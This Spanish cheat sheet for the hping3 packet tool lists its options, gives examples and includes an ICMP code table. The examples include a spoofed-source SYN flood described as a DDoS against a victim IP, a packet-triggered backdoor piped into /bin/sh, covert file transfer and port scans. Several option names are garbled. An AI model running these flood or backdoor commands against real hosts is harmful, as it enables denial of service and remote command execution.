hping es una línea de comandos orientado TCP / ensamblador de paquetes IP / analizador. La interfaz está inspirada en el ping (de comandos de Unix, pero hping no sólo es capaz de enviar peticiones de eco ICMP. Soporta TCP, UDP, ICMP y protocolos RAW-IP, tiene un modo traceroute, la posibilidad de enviar archivos entre un canal cubierto, y muchas otras características.

OPCIONES BASE

-q –quiet -v –version
-I –interface -V –verbose
-D –debug
-c –count contar paquetes respuesta
-i –interval segundos, uX para ?segundos [1s]
–beep beep por paquete recibido (no ICMP)
-n –numeric no resolver
-z –bind usar ctrl+z para aumentar TTL
-Z –unbind
–fase 10 paquetes / seg
–master 1 paquete / ?s
–flood lo más rápido posible

OPCIONES TÍPICAS

-d –data tamaño del campo datos del paquete
-E –file insertar en datos del paquete
-e –sign longitud de firma
-j –dump mostrar paquetes recibidos en hex.
-J –print volcado en caracteres imprimibles
-B –safe reenviar paquetes perdidos
-u –end enviar EOF cuando –file
-T –traceroute modo traceroute, además:
–tr-keep-ttl para mantener TTL fijo
–tr-stop salir si no recibe paquete time ICMP exceed
–tr-no-rtt no mostrar información RTT
–tcpexitcode último tcp?th_flag como código de salida

OPCIONES RELACIONADAS CON IP

-a –spoof falsear host origen
–rand-source enviar paquetes origen aleat.
–rand-dest comodín con X
-t –ttl establecer valor de TTL
-N –id identificador IP [aleatorio]
-H –ipprot protocolo IP en modo raw ip
-W –winid mostrar respuestas de Windows
-r –rel relativizar Identificador
-f –frag fragmentar paquetes [16 bytes]
-x –morefrag enviar time-exceeded de ICMP
-y –dontfrag realizar PDMTU
-g –fragoff establecer desfase de fragmento
-G –rroute incluir RECORD_ROUTE
-m –mtu valor de MTU
-o –tos establecer servicio, en HEX

OPCIONES RELACIONADAS CON ICMP

-C –icmptype tipo de petición [echo]
-K –icmpcode código ICMP [0]
–icmp-ipver versión IP [4]
–icmp-iphlen longitud de cabecera IP [5]
–icmp-iplen ip longitud del paquete, [real]
–icmp-ipid asignar identificador IP [aleat]
–icmp-ipproto protocolo IP [TCP]
–icmp-cksum valor checksum [válido]
–icmp-ts petición timestamp
–icmp-addr petición mask

RELACIONADAS CON TCP/UDP

-s –baseport [aleat], +1 si recibido
-p –destport [0], si se indica el puerto:
+puerto aumenta por paquete recibido
++puerto aumenta por paquete enviado
–keep mantener puerto de origen
-w –win establecer tamaño ventana [64]
-O –tcpoff -b –badchksum
-M –setseq -L –setack
-Q –seqnum obtener núms de secuencia
–tcp-timestamp establecer timestamp

FLAGS TCP

-F –fin -S –syn -R –rst
-P –push -A –ack -U –urg
-X –xmas -Y –ymas

SELECCIÓN DE PROTOCOLO

-0 –rawip -1 –icmp -2 –ucp
-8 –scan con:
rangos: 20-53
delimitados por coma: 1,3,4
conocidos: del /etc/services
negar con !: 1-53,!4
-9 –listen busca información según valor

Ejemplos

Scanner de puerto
# hping3 -S localhost -p 9091

Valor del flag
SA que quiere decir SYN/ACK puerto habierto
RA que quiere decir RST/ACK puerto cerrado

Traceroute
# hping3 pedrocarrasco.org -t 1 ??traceroute

Firmar los paquetes que enviamos, con el contenido que queramos
# hping3 -2 -p 7 localhost -d 50 -E firma.txt

Estableciendo la opción -2 enviamos paquetes UDP, con la opción -d 50 indicamos la longitud del mensaje y con la opción -E indicamos que lea del archivo firma.txt.

Envio de archivos a través de la red
Para esto, necesitamos una máquina que envíe algún archivo, y otra que esté a la escucha para recibirlo. Primero, preparamos la máquina que permanecerá a la escucha, para ello utilizaremos el parámetro ??listen en el que especificaremos el texto que nos servirá de indicador de inicio de mensaje (en este caso utilizo signature), el protocolo que usaremos es ICMP y lo establecemos utilizando el parámetro ??icmp (también puede usarse UDP o TCP). Al ejecutarlo veremos algo así:

# hping3 localhost ??listen signature ??safe ??icmp

Ahora toca preparar por otro lado el comando que nos servirá para enviar el fichero que queramos

# hping3 localhost ??icmp -d 50 ??sign signature ??file firma.txt

El resultado es que en el lado en que estábamos esperando recibir algo, empieza a verse lo siguiente:

# hping3 localhost ??listen signature ??safe ??icmp

Warning: Unable to guess the output interface
hping3 listen mode
memlockall(): Success
Warning: can’t disable memory paging!
fichero de ejemplo
fichero de ejemplo
fichero de ejemplo
fichero de ejemplo
fichero de ejemplo
fichero de ejemplo

Ataque DDoS
#hping3 -p 80 -S ??rand-source ??flood ip_victima

El parámetro ??rand-source hace que cada paquete tenga un origen distinto y aleatorio, y ??flood no deja espacio entre paquete y paquete, -p puerto, -S activa el flag Syn

Con ip falsa

hping3 -a ip_falsa -p 80  -S –flood ip_victima

Uptime
# hping2 -p 80 -S –tcp-timestamp host

PortScan
# hping –I eth0 –scan 20-25,80,443 -S host

Synflood
hping –p 80 –i u10000 –a fuente –S host
# hping3 -I eth1 -9 secret | /bin/sh

Backdoor:
# hping3 -R ip -e secret -E fich_comandos -d 100

TCP ACK DUP:
Ventana 1:
# hping3 –fast -S -a tu.ip_publica -s 9909 -k -p 80 -M 0 ip.destino
Ventana 2:
# hping3 –fast -S -a tu.ip_publica -s 9909 -k -p 80 -M 123124342 ip.destino

Referencia – CÓDIGOS ICMP:

0 Echo Reply
1 Unassigned
2 Unassigned
3 Destination Unreachable
4 Source Quench
5 Redirect
6 Alternate Host Address
7 Unassigned
8 Echo
9 Router Advertisement
10 Router Selection
11 Time Exceeded
12 Parameter Problem
13 Timestamp
14 Timestamp Reply
15 Information Request
16 Information Reply
17 Address Mask Request
18 Address Mask Reply
19 Reservados (para seguridad)
20-29 Reservados (Experimentales)
30 Traceroute
31 Datagram Conversion Error
32 Mobile Host Redirect
33 IPv6 Where-Are-You
34 IPv6 I-Am-Here
35 Mobile Registration Request
36 Mobile Registration Reply
37 Domain Name Request
38 Domain Name Reply
39 SKIP
40 Photuris
41-255 Reservados